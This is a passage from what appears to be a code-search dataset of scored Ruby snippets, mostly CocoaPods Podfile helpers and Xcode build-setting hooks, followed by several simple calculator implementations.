end\n end", "title": "" }, { "docid": "0fcda2c95d9fd60fea685bbfc3ed117d", "score": "0.5489167", "text": "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "title": "" }, { "docid": "f76e57e5f3a5f4df7c77316bf6af6786", "score": "0.5486515", "text": "def mock_framework\n mock_with :mspec unless @mock_framework\n @mock_framework\n end", "title": "" }, { "docid": "0a306d8e58babfed4e41b8e0f441ed34", "score": "0.5474434", "text": "def framework_import_pods\n \n pod 'MBProgressHUD'\n pod 'Firebase/Analytics'\n pod 'Firebase/Crashlytics'\n pod 'Firebase/Core'\n pod 'Firebase/Auth'\n pod 'Firebase/Analytics'\n pod 'Firebase/Database'\n pod 'Firebase/Storage'\n pod 'Firebase/Firestore'\n pod 'IQKeyboardManagerSwift'\n pod 'DrawerView'\n pod 'SwiftyDraw'\n pod 'ChromaColorPicker'\n pod 'Kingfisher'\n pod 'Hashtags'\n pod 'ImageSlideshow', '~> 1.8.3'\n pod 'ImageSlideshow/Kingfisher'\n \nend", "title": "" }, { "docid": "bc68c7aa66647b2b6d03886fe84cd0b8", "score": "0.546547", "text": "def localPods\n pod 'ZXYModels', :path => './ThirdPartFrameworks/ZXYModels'\nend", "title": "" }, { "docid": "05579c1f71a7af96cb2b25da0264fe62", "score": "0.54624265", "text": "def reload\n $LOADED_FRAMEWORKS.each do |framework| load framework end\n end", "title": "" }, { "docid": "ba980f9a20e1f421709ac505d6af03e0", "score": "0.54592615", "text": "def install_flutter_business_pods\n install_business_pods\n install_plugin_pods\nend", "title": "" }, { "docid": "a427509a2e902aa9216460a59dd1a8bf", "score": "0.54543364", "text": "def pod_libksygpulive\n dep_path = ENV['KSYLIVEDEP_DIR']\n demo_path = ENV['KSYLIVEDEMO_DIR']\n \n pod 'GPUImage'\n # pod 'libksygpulive/GPUImage', :path => dep_path\n pod 'libksygpulive/yuv', :path => dep_path\n pod 'libksygpulive/base', :path => dep_path\n pod 'libksygpulive/mediacore_enc_265', :path => dep_path\n \n # pod 'libksygpulive/KSYStreameriOSSDK', :path => demo_path\n pod 'KSYStreameriOSSDK', :path => (dep_path)+'../KSYStreameriOSSDK'\n \n # pod 'libksygpulive/networkAdaptor', :path => demo_path\n pod 'networkAdaptor', :path => (dep_path)+'../networkAdaptor'\n \n# pod 'ksylivekits/KSYStreamerEngine_iOS', :path => demo_path\n pod 'KSYStreamerEngine', :path => (dep_path)+'../KSYStreamerEngine_iOS'\n\n pod 'KSYCommon', :path => (dep_path)+'../KSYCommon'\n pod 'KSYGPUFilter', :path => (dep_path)+'../KSYGPUFilter_iOS'\n pod 'ksylivekits/player', :path => demo_path\n pod 'ksylivekits/kits', :path => demo_path\nend", "title": "" }, { "docid": "ac0e02d16dd6332fed8f269437cc689a", "score": "0.5452238", "text": "def pods\n #定义导入的pods\n #platform :ios, '7.0'\n\n pod 'GVUserDefaults'\n pod 'AFNetworking'\n pod 'SDWebImage'\nend", "title": "" }, { "docid": "f46b7e7ba45fee7366d721e4219657dc", "score": "0.5433751", "text": "def import_pods\n import_pods_appname\nend", "title": "" }, { "docid": "2be5d5a273700d912a014918e136ac5d", "score": "0.54207486", "text": "def flipper_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "title": "" }, { "docid": "37ac57c7ff6311dbc3f16f1291762deb", "score": "0.54135984", "text": "def framework_path\n File.expand_path(\"../SharedFrameworks/ContentDeliveryServices.framework/Versions/Current/itms/java/Frameworks\",\n MacOS::Xcode.prefix)\n end", "title": "" }, { "docid": "37ac57c7ff6311dbc3f16f1291762deb", "score": "0.54135984", "text": "def framework_path\n File.expand_path(\"../SharedFrameworks/ContentDeliveryServices.framework/Versions/Current/itms/java/Frameworks\",\n MacOS::Xcode.prefix)\n end", "title": "" }, { "docid": "5b01d95e3bcdcc3b8cd708e51d354734", "score": "0.53989947", "text": "def grin_wallet_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n ldflags = config.build_settings['OTHER_LDFLAGS'] || '$(inherited) '\n unless ldflags.include? 'IOKit'\n puts 'Adding -framework IOKit in OTHER_LDFLAGS...'\n ldflags << '-framework IOKit'\n end\n config.build_settings['OTHER_LDFLAGS'] = ldflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "title": "" }, { "docid": "c7d8ff70af3dd74e9243b48d0fb51657", "score": "0.5398055", "text": "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "title": "" }, { "docid": "5b629d6d6ba0ff10ed5409f3ed731db6", "score": "0.53943205", "text": "def framework\n @framework\n end", "title": "" }, { "docid": "547d5b592087ba17fbbfe046913daa96", "score": "0.5393669", "text": "def shared_test_pods\n pod 'GCDWebServer', '~> 3.0'\n #pod 'Swifter', '~> 1.3' # currently macOS-only!\nend", "title": "" }, { "docid": "28dfb2e9fb10851233fac6962d3c1a25", "score": "0.5381936", "text": "def distribution_pods\n\npod 'UIAlertView+Blocks'\npod 'SDWebImage', '~>3.7' # Cached images\n\nend", "title": "" }, { "docid": "52de86cbf7d2e11d0c72452744df99df", "score": "0.53705794", "text": "def configure_local_pods()\n # Firestore is always local; that's what's under development here.\n pod 'FirebaseFirestore', :path => '../..'\n\n # FirebaseCore must always be a local pod so that CI builds that make changes\n # to its podspec can still function. See Firestore-*-xcodebuild in\n # scripts/install_prereqs.sh for more details.\n pod 'FirebaseCore', :path => '../..'\n pod 'FirebaseCoreInternal', :path => '../..'\n pod 'FirebaseCoreExtension',:path => '../..'\n\n # Pull in local sources conditionally.\n maybe_local_pod 'FirebaseAuth'\nend", "title": "" }, { "docid": "460b2b13a190b6fc7d88ee307bc630f9", "score": "0.53692335", "text": "def using_native_target?; target.name =~ /native/i; end", "title": "" }, { "docid": "c80ef17c72a6bd8935bf651bf1dd2ac3", "score": "0.5362878", "text": "def j2objc_lib\n pod 'j2objc-lib-debug', :configuration => ['Debug'], :path => '../lib/build/doppel'\n pod 'j2objc-lib-release', :configuration => ['Release'], :path => '../lib/build/doppel'\nend", "title": "" }, { "docid": "a7eaf44af3fddd8d7738af430afab558", "score": "0.53617483", "text": "def flutter_install_ios_engine_pod(ios_application_path = nil)\n # defined_in_file is set by CocoaPods and is a Pathname to the Podfile.\n ios_application_path ||= File.dirname(defined_in_file.realpath) if respond_to?(:defined_in_file)\n raise 'Could not find iOS application path' unless ios_application_path\n\n podspec_directory = File.join(ios_application_path, 'Flutter')\n copied_podspec_path = File.expand_path('Flutter.podspec', podspec_directory)\n\n # Generate a fake podspec to represent the Flutter framework.\n # This is only necessary because plugin podspecs contain `s.dependency 'Flutter'`, and if this Podfile\n # does not add a `pod 'Flutter'` CocoaPods will try to download it from the CocoaPods trunk.\n File.open(copied_podspec_path, 'w') do |podspec|\n podspec.write <<~EOF\n #\n # This podspec is NOT to be published. It is only used as a local source!\n # This is a generated file; do not edit or check into version control.\n #\n\n Pod::Spec.new do |s|\n s.name = 'Flutter'\n s.version = '1.0.0'\n s.summary = 'A UI toolkit for beautiful and fast apps.'\n s.homepage = 'https://flutter.dev'\n s.license = { :type => 'BSD' }\n s.author = { 'Flutter Dev Team' => '[email protected]' }\n s.source = { :git => 'https://github.com/flutter/engine', :tag => s.version.to_s }\n s.ios.deployment_target = '11.0'\n # Framework linking is handled by Flutter tooling, not CocoaPods.\n # Add a placeholder to satisfy `s.dependency 'Flutter'` plugin podspecs.\n s.vendored_frameworks = 'path/to/nothing'\n end\n EOF\n end\n\n # Keep pod path relative so it can be checked into Podfile.lock.\n pod 'Flutter', path: flutter_relative_path_from_podfile(podspec_directory)\nend", "title": "" }, { "docid": "20346e0115cb8440981fd381890a950c", "score": "0.5355887", "text": "def as_framework?\n (self.installed? and File.exists? prefix+\"Frameworks/Python.framework\") or build_framework?\n end", "title": "" }, { "docid": "109e3e1518565fa2163cc4a8cee39a5e", "score": "0.5351481", "text": "def include_react_native!(react_native:, target_platform:, project_root:, flipper_versions:)\n require_relative File.join(project_root, react_native, 'scripts', 'react_native_pods')\n use_flipper!(flipper_versions) if target_platform == :ios && flipper_versions\n use_react_native!(:path => react_native)\nend", "title": "" }, { "docid": "35d2bc5b8ecb4f05626ae8ced9dd79d0", "score": "0.5350745", "text": "def j2objc_javalib\n pod 'j2objc-javalib-debug', :configuration => ['Debug'], :path => '../javalib/build/j2objcOutputs'\n pod 'j2objc-javalib-release', :configuration => ['Release'], :path => '../javalib/build/j2objcOutputs'\nend", "title": "" }, { "docid": "c9b93cac552c38c7fc832fc59a27d087", "score": "0.5337308", "text": "def as_framework?\n (self.installed? and File.exists? prefix+\"Frameworks/Python.framework\") or build_framework?\nend", "title": "" }, { "docid": "d8500b452a1310822d8f701ea8724801", "score": "0.53258735", "text": "def initialize(framework_name, parent_directory, framework_paths)\n @framework_name = framework_name\n @framework_paths = framework_paths\n @parent_directory = parent_directory\n\n @framework_directory = File.join(\n @parent_directory,\n \"#{@framework_name}.xcframework\"\n )\n end", "title": "" }, { "docid": "8228987c86a862abdac47d2ccec6c3e9", "score": "0.5324631", "text": "def shared_pods\n pod 'AFNetworking'\nend", "title": "" }, { "docid": "c711d0e496c6f0b7f26b73d6578e7c7d", "score": "0.5321008", "text": "def build_framework?; ARGV.include? '--framework'; end", "title": "" }, { "docid": "b75f7723d9ba928aa9a2d77fb99caa58", "score": "0.53183615", "text": "def getSharediOSFrameworkNames(framework_name)\n # TODO: Need to handle multiple projects\n framework_project_path = getCarthageProjectPath(framework_name)\n \n if framework_project_path.to_s.empty?\n return nil\n end\n \n framework_project = Xcodeproj::Project.open(framework_project_path)\n framework_shared_schemes = Xcodeproj::Project.schemes(framework_project_path)\n framework_targets = framework_project.native_targets.select { |framework_target| framework_target.iOSSharedFramework?(framework_shared_schemes) }\n all_framework_names = framework_targets.map { |framework_target|\n # Check target configuration file first\n framework_name = getConfigAttributes(framework_target)&.dig(\"PRODUCT_NAME\")&.delete! ';'\n \n if framework_name.to_s.empty?\n framework_name = framework_target.common_resolved_build_setting(\"PRODUCT_NAME\")\n end\n \n if framework_name == '$(TARGET_NAME)'\n framework_name = framework_target.name\n elsif framework_name == '$(TARGET_NAME:c99extidentifier)'\n # TODO: Add full support for 'c99extidentifier' if needed\n framework_name = framework_target.name\n elsif framework_name == '$(PROJECT_NAME)'\n framework_name = File.basename(framework_project_path, \".*\")\n end\n \n framework_name\n }\n \n return all_framework_names\nend", "title": "" }, { "docid": "809291acfc7bc040cca837f54f29fd14", "score": "0.5315063", "text": "def framework_bundles\n @cached_framework_bundles ||= framework_names.map { |x| bundle_for(x) }\n end", "title": "" }, { "docid": "4053aaf4e7602548affb3f4006770183", "score": "0.53071606", "text": "def ld_flags(app)\n flags = []\n flags << '-ObjC'\n flags += app.frameworks.collect{|f| \"-framework #{f}\"}\n flags.join(\" \")\n end", "title": "" }, { "docid": "3b6c4e8169d42b60e98a3fb1609e99a4", "score": "0.5297641", "text": "def auto_process_target(app_target_names, embedded_target_name, installer)\n words = find_words_at_embedded_target('Pods-' + embedded_target_name,\n installer)\n handle_app_targets(app_target_names.map{ |str| 'Pods-' + str },\n words,\n installer)\nend", "title": "" }, { "docid": "d7325e233764a5d8d137af67003cba38", "score": "0.5283153", "text": "def development_pods\n\t# A linter to gather code metrics and enforce Swift style and conventions.\n\t# https://github.com/realm/SwiftLint\n\t# License: MIT\n\tpod 'SwiftLint'\n\n\t# Formats the Swift code to be consistent with the coding style guidelines.\n\t# https://github.com/nicklockwood/SwiftFormat\n\t# License: MIT\n\tpod 'SwiftFormat/CLI'\nend", "title": "" }, { "docid": "299eef35fe987bf6bd8031a67a74218f", "score": "0.5272592", "text": "def additional_dylibs dylibs, other_lib\n dylibs_to_change(other_lib).delete_if do |d|\n basenames = dylibs.map { |lib| File.basename(lib) }\n basenames.include? File.basename(d)\n end\n end", "title": "" }, { "docid": "5b979a364c2046100cf5c1969611fdc2", "score": "0.5265874", "text": "def j2objc_shared\n pod 'j2objc-shared-debug', :configuration => ['Debug'], :path => '../shared/build'\n pod 'j2objc-shared-release', :configuration => ['Release'], :path => '../shared/build'\nend", "title": "" }, { "docid": "1829ba27e782745a5e84ef12d017dc31", "score": "0.52635795", "text": "def shared_pods\n#Alamofire\npod 'Alamofire', '~> 4.6'\n\n#SwiftyJSON\npod 'SwiftyJSON', '~> 4.0'\n\n#Kingfisher\npod 'Kingfisher', '~> 4.6.1'\n\n#RxSwift\npod 'RxSwift', '~> 4.1.1'\npod 'RxCocoa', '~> 4.1.1'\nend", "title": "" }, { "docid": "100f6aa54a865fb05494042007fd4178", "score": "0.5263529", "text": "def init_frameworks\n response = @conn.get do |req|\n req.url \"/api/v1/frameworks\"\n req.headers = rest_headers\n end\n\n @frameworks = json(response.body)[:frameworks]\n end", "title": "" }, { "docid": "6f15588509c36578443aa13c27c11e92", "score": "0.5260853", "text": "def install_business_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pod 'FlutterBusiness', :path => relative\nend", "title": "" }, { "docid": "ad513af45003cff4b8a73d5334de3671", "score": "0.52574253", "text": "def sharedPods\n\tpod 'Alamofire', '~> 5.2'\n\tpod 'Kingfisher', '~> 6.0'\nend", "title": "" }, { "docid": "02cfdb8ca9a8ef34b7a9bd15a095752c", "score": "0.52530485", "text": "def api_framework\n source_node[:apiFramework]\n end", "title": "" }, { "docid": "02cfdb8ca9a8ef34b7a9bd15a095752c", "score": "0.52530485", "text": "def api_framework\n source_node[:apiFramework]\n end", "title": "" }, { "docid": "02cfdb8ca9a8ef34b7a9bd15a095752c", "score": "0.52530485", "text": "def api_framework\n source_node[:apiFramework]\n end", "title": "" }, { "docid": "0fdb1583cb0558147d9492aeb4d90eab", "score": "0.5252738", "text": "def use_modular_headers!\n current_target_definition.use_modular_headers_for_all_pods = true\n end", "title": "" }, { "docid": "60a4047af9128a3e626475885f2a930d", "score": "0.5250414", "text": "def flipper_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\nend", "title": "" }, { "docid": "cf08f9ec773da4e18aef307f1ba19b25", "score": "0.52501786", "text": "def the_pods\n\tpod 'EZAudio', :git => 'https://github.com/rednebmas/EZAudio.git'\nend", "title": "" }, { "docid": "fc0e8617a87d41b97bd36a8191337d3f", "score": "0.5247467", "text": "def initialize(framework)\n self.framework = framework\n end", "title": "" }, { "docid": "2c125ed62f9e1bb79d546ea73d32e051", "score": "0.5230288", "text": "def sharedPods\n pod 'Alamofire', '~> 5.0.0.beta.5'\nend", "title": "" }, { "docid": "9ea52e7acff8211394792c0eecaaa102", "score": "0.51989007", "text": "def standard_maps\n\n case self.current_framework\n when :testunit\n map /^controllers/ do\n target /^unit/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"s_controller\", \"\")\n value =~ /#{buffer}_test.rb/ ? true : false\n end\n end\n target /^functional/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"_controller\", \"\")\n value =~ /#{buffer}_controller_test.rb/ ? true : false\n end\n end\n end\n map /^models/ do\n target /^unit/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}_test.rb/ ? true : false\n end\n end\n target /^functional/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}s_controller_test.rb/ ? true : false\n end\n end\n end\n\n when :rspec\n map /^controllers/ do\n target /^models/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"s_controller\", \"\")\n value =~ /#{buffer}_spec.rb/ ? true : false\n end\n end\n target /^controllers/ do\n file_name do |value, cargo|\n buffer = File.basename(cargo, \".rb\").gsub(\"_controller\", \"\")\n value =~ /#{buffer}_controller_spec.rb/ ? true : false\n end\n end\n end\n map /^models/ do\n target /^models/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}_spec.rb/ ? true : false\n end\n end\n target /^controllers/ do\n file_name do |value, cargo|\n value =~ /#{File.basename(cargo, \".rb\")}s_controller_spec.rb/ ? true : false\n end\n end\n end\n end\n\n end", "title": "" } ]
933ae564e402dc61007442a3b1131c2e
calculate loop through the calculator
[ { "docid": "89b6cf3582698d22c7c9bb5ec284be14", "score": "0.65620255", "text": "def run_calculator\n\n while calculate != \"exit\"\n calculate\n\n end\n\nend", "title": "" } ]
[ { "docid": "7ca90cb9b9950f2d778512c55bf870de", "score": "0.73331845", "text": "def calc()\n\tputs \"Calculator:\"\n\tcalculate = true\n\twhile calculate == true\n\t\tfirst_num = input_num()\n\t\tputs \"> #{first_num}\"\n\t\toperator = input_operator()\n\t\tputs \"> #{first_num} #{operator}\"\n\t\tsecond_num = input_num()\n\t\tputs \"> #{first_num} #{operator} #{second_num}\"\n\t\t\n\t\tif operator == \"+\"\n\t\t\tadd(first_num, second_num)\n\t\telsif operator == \"-\"\n\t\t\tsubtract(first_num, second_num)\n\t\telsif operator == \"*\"\n\t\t\tmultiply(first_num, second_num)\n\t\telsif operator == \"/\" && second_num == 0\n\t\t\tputs \"Division by zero is undefined\"\n\t\telsif operator == \"/\"\n\t\t\tdivide(first_num, second_num)\n\t\telse\n\t\t\tputs \"Error\"\n\t\tend\n\t\tcalculate = leave?()\n\tend\nend", "title": "" }, { "docid": "9e5dfc81a1fadf4de233599070037990", "score": "0.69754875", "text": "def calculate(starting_value, operations)\n sum = starting_value\n operations.each do |ops|\n operator = ops[0]\n operand = ops[1]\n \n case operator\n when '+'\n sum += operand \n when '-'\n sum -= operand\n when '*'\n sum *= operand\n when '/'\n sum /=operand\n else \n end\n end \n sum \nend", "title": "" }, { "docid": "57b739698c0670efb5a93df549d04e32", "score": "0.68854", "text": "def do_calculation\n index = 0\n total = 0.0\n\n num_list_length = num_list.length\n\n ( num_list_length - 1 ).times do | i |\n total = num_list[i].to_f if i == 0\n index = 0 if index == 4\n\n total = total.send(OPERATIONS[index], num_list[i+1].to_f)\n index = index + 1\n end\n\n total\n end", "title": "" }, { "docid": "c5f8da328a1f0c622311d46aa7fe3c1f", "score": "0.68759763", "text": "def plus \n\t\tif @calculator.empty?\n\t\t\traise \"calculator is empty\"\n\t\telse\n\t\t\tsum = 0\n\t\t\tif @calculator.length == 2\n\t\t\t\twhile @calculator.length != 0 do\n\t\t\t\t\t\tsum += @calculator.last.to_f\n\t\t\t\t\t\[email protected]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\twhile @calculator.length != 1 do\n\t\t\t\t\t\tsum += @calculator.last.to_f\n\t\t\t\t\t\[email protected]\n\t\t\t\tend\n\t\t\tend\n\t\t\[email protected](sum)\n\t\tend\n\tend", "title": "" }, { "docid": "3b1962cf22cc05aa1f568f6aeaa3544f", "score": "0.6869323", "text": "def calculation\n end", "title": "" }, { "docid": "0a13aef21276e7a9ecfb4ffca43ec711", "score": "0.6830257", "text": "def calculator\n\n keep_looping = true\n result = nil\n first_number = nil\n second_number = nil\n \n while keep_looping\n begin\n if result\n puts \"Result: #{result}\"\n first_number = result\n else\n \n puts \"First Number:\"\n first_number = gets.strip.to_f\n end\n puts \"Modifier ( + - * / ) or clear:\"\n modifier = gets.strip\n if modifier == 'clear'\n result = nil\n redo\n end\n \n puts \"Second Number:\"\n second_number = gets.strip.to_f\n end until result = get_result(first_number, modifier, second_number)\n end\n end", "title": "" }, { "docid": "6e0fa14590119cb3c229c630956cb73f", "score": "0.68029124", "text": "def calculator(num1, num2)\n\treturn num1 + num2, num1 - num2, num1 * num2, num1 / num2\nend", "title": "" }, { "docid": "449242d2f0791f676baa51686a620fc9", "score": "0.6800003", "text": "def calculations \n case @operator \n when \"+\"\n puts \"#{@first_number} + #{@second_number} = #{@first_number + @second_number}\"\n @user_result = (@first_number + @second_number)\n @user_results_array << @user_result\n when \"-\"\n puts \"#{@first_number} - #{@second_number} = #{@first_number - @second_number}\"\n @user_result = (@first_number - @second_number)\n @user_results_array << @user_result\n when \"/\"\n puts \"#{@first_number} / #{@second_number} = #{@first_number / @second_number}\"\n @user_result = (@first_number / @second_number)\n @user_results_array << @user_result\n when \"*\"\n puts \"#{@first_number} * #{@second_number} = #{@first_number * @second_number}\"\n @user_result = (@first_number * @second_number)\n @user_results_array << @user_result\n end \n puts \"Would you like to continue calculating? Y or N?\"\n answer = gets.chomp \n if answer == \"Y\" || answer ==\"y\"\n continued_calculations\n else \n puts \"Have a good day!\"\n exit \n end \nend", "title": "" }, { "docid": "8704856218443b21436f3da28067968f", "score": "0.67292166", "text": "def single_input_calc\n puts \"What would you like to calculate? - enter first number then operator then second number.\"\n to_calc = gets.strip\n arr = to_calc.split\n first_num = arr[0].to_i\n op = arr[1].to_s\n second_num = arr[2].to_i\n string_result = first_num.public_send(op, second_num)\n puts \"The result is: #{string_result}\"\n @arr_results << {first_number: first_num, modifier: op, second_number: second_num, result: string_result}\n end", "title": "" }, { "docid": "b13e97ef68ce892f2528df746c0c0550", "score": "0.6708439", "text": "def my_calculate(*params)\n\n puts \"\\nStarting....\"\n\n operations = {}\n operands = []\n\n \n params.reverse.each do |p|\n\n puts \"param p is #{p.inspect}. Its class is #{p.class}\"\n\n #determine what p is\n operations = p if p.is_a?(Hash)\n operands << p if p.is_a?(Fixnum)\n\n end\n\n # perform operations\n\n #check the default operation\n if operations.size == 0\n\n puts \"\\n Performing add... for default operation\"\n result = my_add(operands)\n puts \"Result is #{result}.\"\n\n else\n\n operations.each do | key, val|\n \n if val == true \n if key == :add\n puts \"\\n Performing add...\"\n result = my_add(operands)\n puts \"Result is #{result}.\"\n \n elsif key == :subtract\n puts \"\\n Performing subtract...\"\n result = my_subtract(operands)\n puts \"Result is #{result}.\"\n \n elsif key == :multiply\n puts \"\\n Performing multiply...\"\n result = my_multiply(operands)\n puts \"Result is #{result}.\"\n \n elsif key == :divide\n puts \"\\n Performing divide...\"\n result = my_divide(operands)\n puts \"Result is #{result}.\"\n \n else\n puts \"Unknow operation #{key}. It is ignored.\"\n \n \n end\n end\n \n \n end\n end\n \nend", "title": "" }, { "docid": "aa4d854e0a20c4f7b5df1a59ca07cdb7", "score": "0.66941404", "text": "def calculate\n @equations = self.class.permutate(@inputs, @operators)\n @results = {}\n @equations.each do |eq|\n @results[eq] = eval(eq)\n end\n end", "title": "" }, { "docid": "c757282daed9ac982defc8f05b0f4e4c", "score": "0.6639834", "text": "def calculate!\n calculate_amount\n calculate_fee\n calculate_insurance\n calculate_deposit\n end", "title": "" }, { "docid": "5b78ee98567ccbf76b03ba1ea4c9658f", "score": "0.6578493", "text": "def basic_calc\n print Rainbow(\"\\n(a)\").white+Rainbow(\"dd \").green+Rainbow(\"(s)\").white+Rainbow(\"ubtract \").green+Rainbow(\"(m)\").white+Rainbow(\"ultiply \").green+Rainbow(\"(d)\").white+Rainbow(\"ivide \").green\n choice = gets.chomp.to_s\n print Rainbow(\"\\nfirst number: \").blue\n first = gets.chomp.to_f\n print Rainbow(\"second number: \").blue\n second = gets.chomp.to_f\n case choice[0].downcase\n when \"a\"\n print Rainbow(\"\\n#{first} + #{second} = \").blue + Rainbow(\"#{first + second}\\n\\n\").white\n when \"s\"\n print Rainbow(\"\\n#{first} - #{second} = \").blue + Rainbow(\"#{first - second}\\n\\n\").white\n when \"m\"\n print Rainbow(\"\\n#{first} 8 #{second} = \").blue + Rainbow(\"#{first * second}\\n\\n\").white\n when \"d\"\n print Rainbow(\"\\n#{first} / #{second} = \").blue + Rainbow(\"#{(first / second).rounf(5)}\\n\\n\").white\n when \"q\"\n menu\n else \n print Rainbow(\"\\nYou are doing it \").green + Rainbow(\"WRONG\\n\").red\n basic_calc\n end\nend", "title": "" }, { "docid": "907a4afcbea6a25664d60a254a626c02", "score": "0.6527735", "text": "def get_values(basic_operation)\n done = false\n total = 0\n calc_value = 0\n\n print \"Enter a value for the calculation: \"\n calc_value = gets.chomp.to_i\n\n #keep asking for values until the user chooses to stop\n while !done\n print \"#{calc_value} entered, continue?(Y/N)\"\n continue = gets.chomp.downcase\n\n #check if the user wants to include additional values for the calculation\n if continue == 'y'\n total = calc_value\n print \"Enter a value to be calculated: \"\n calc_value = gets.chomp.to_i\n #when the user elects to stop adding values pass the array to a method that handles the calc based on the operation\n elsif continue == 'n'\n case basic_operation\n when 'a'\n total += calc_value\n when 's'\n total -= calc_value\n when 'm'\n total *= calc_value\n when 'd'\n total /= calc_value\n end\n done = true\n else\n puts \"Please enter Y or N so I know what to do next.\"\n end\n end\n\n puts \"Total: #{total}\"\nend", "title": "" }, { "docid": "379f6a35cdaa5b075e2bc7a3438cfcb4", "score": "0.6518024", "text": "def basic_calc\n puts Rainbow(\"(a)dd, (s)ubtract, (m)ultiply, (d)ivide\").yellow.inverse\n arithmetic_type = gets.chomp.downcase\n\n case arithmetic_type\n \n when 'a' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 + response_2\n puts \"#{response_1}+#{response_2} = #{result}\"\n\n when 's' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 - response_2\n puts \"#{response_1}-#{response_2} = #{result}\"\n when 'm' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 * response_2\n puts \"#{response_1}*#{response_2} = #{result}\"\n when 'd' \n puts \"whats your first number?\"\n response_1 = gets.strip.to_f \n puts \"whats your second number?\"\n response_2 = gets.strip.to_f\n result = response_1 / response_2\n puts \"#{response_1}/#{response_2} = #{result}\"\n\nend\nend", "title": "" }, { "docid": "550045f57df951bc5fbeb44c39101443", "score": "0.6467062", "text": "def calculate(starting_value, operations)\n for i in 0...operations.length\n # just in case an unexpected operator is given:\n if '*/+-'.include?(operations[i][0]) == false\n puts 'unexpected operator!'\n break\n end\n \n if operations[i][0] == \"*\"\n starting_value *= operations[i][1]\n elsif operations[i][0] == \"+\"\n starting_value += operations[i][1]\n elsif operations[i][0] == \"-\"\n starting_value -= operations[i][1]\n else\n starting_value /= operations[i][1]\n end\n end\n starting_value\nend", "title": "" }, { "docid": "cdaf56d37f1a0181393b8c6cb3de684a", "score": "0.64624757", "text": "def calculator\n puts \"RPN Calculator\"\n calc = []\n input = 0\n while input != 'q'\n operand = ['+','-','*','/']\n print '> '\n input = gets.chomp\n if validate?(input) || operand.include?(input)\n if operand.include?(input)\n operand2 = calc.pop.to_f\n operand1 = calc.pop.to_f\n calc << operate(operand1, operand2, input)\n else\n calc << input\n end\n puts calc.last\n end\n end\nend", "title": "" }, { "docid": "7253b7d6f5788066b516227ba3019925", "score": "0.6450726", "text": "def compute(fdata)\n #print \"Jdu spocitat: \" + @calculate.to_s + \"\\n\"\n @calculator.evaluate(@calculate)\n end", "title": "" }, { "docid": "1a96df1c0bf37bad5b452bb41fa65b2f", "score": "0.6449106", "text": "def calculator(operator, *numbers)\n result = 0\n if operator == \"*\"\n result = 1\n else\n result = numbers[0]\n numbers.shift\n end\n\n numbers.each do |arg|\n #result = arg operator.send result\n result = result.send(operator,arg)\n end\n return result\nend", 